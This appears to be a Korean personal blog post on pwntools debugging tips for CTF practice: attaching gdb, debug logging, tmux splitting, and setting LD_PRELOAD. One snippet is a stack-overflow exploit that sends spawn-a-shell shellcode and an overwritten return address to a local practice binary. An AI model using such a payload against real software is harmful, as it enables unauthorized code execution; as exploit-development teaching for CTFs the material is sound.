Pwntool gdb attach 및 debug모드 + LD_PRELOAD
2018. 5. 23. 18:14
정말... 익스하는데 뭐가 잘못된지 모르겠는데 자꾸 프로그램은 죽고 마ㅣㄴ어ㅣㅏ러
그래서 pwntools에서 gdb를 붙여 사용할 수 있다고 해서 찾아봤다.
사용법은 아래와 같다. ... 라고하는데 사용을 못하겠다 ㅡㅡ; 그냥 디버그 모드사용;
1 2 3 4 5 6 7 | def lanuch_gdb(): p = process("./binary") context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) #break point gdb.attach(proc.pidof(p)[0], execute='b *0x4005d6\nc\n') | cs |
디버그모드라고 코드 맨위에 context.log_level = 'debug' 라고 추가해주면 된다. 매우 편리..
tmux를 이용한 gdb.attach 방법
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/usr/bin/python from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] script = ''' b gets ''' shellcode = asm(shellcraft.sh()) payload = shellcode + "A"*80 payload += p64(0x4141414142424242) + p64(0x7fffffffe400) p = process("./vuln1") gdb.attach(p, script) p.sendline(payload) p.interactive() | cs |
tmux를 킨 다음에 사용할 수 있다.
script에 gdb로 설정할 것을 적은 후 실행하면 창 분리한 후 실행되어 사용하기 좋다.
pwntools 사용해서 LD_PRELOAD 설정하기
1 | process(["./challenge"], env={'LD_PRELOAD':'./libc.so.1'}) | cs |
'Pwnable!!' 카테고리의 다른 글
linux에서 lib64의 base address 확인 및 팁 (0) | 2018.05.24 |
---|---|
64bit ROP & 64bit BOF (0) | 2018.05.24 |
pwntools를 이용해서 libc에서 함수 및 stdin,stdout 오프셋구하기 (0) | 2018.05.22 |
libc-database를 이용한 함수 주소 구하기 (0) | 2018.05.21 |
리눅스 Command Injection 공백 필터우회 (0) | 2018.05.18 |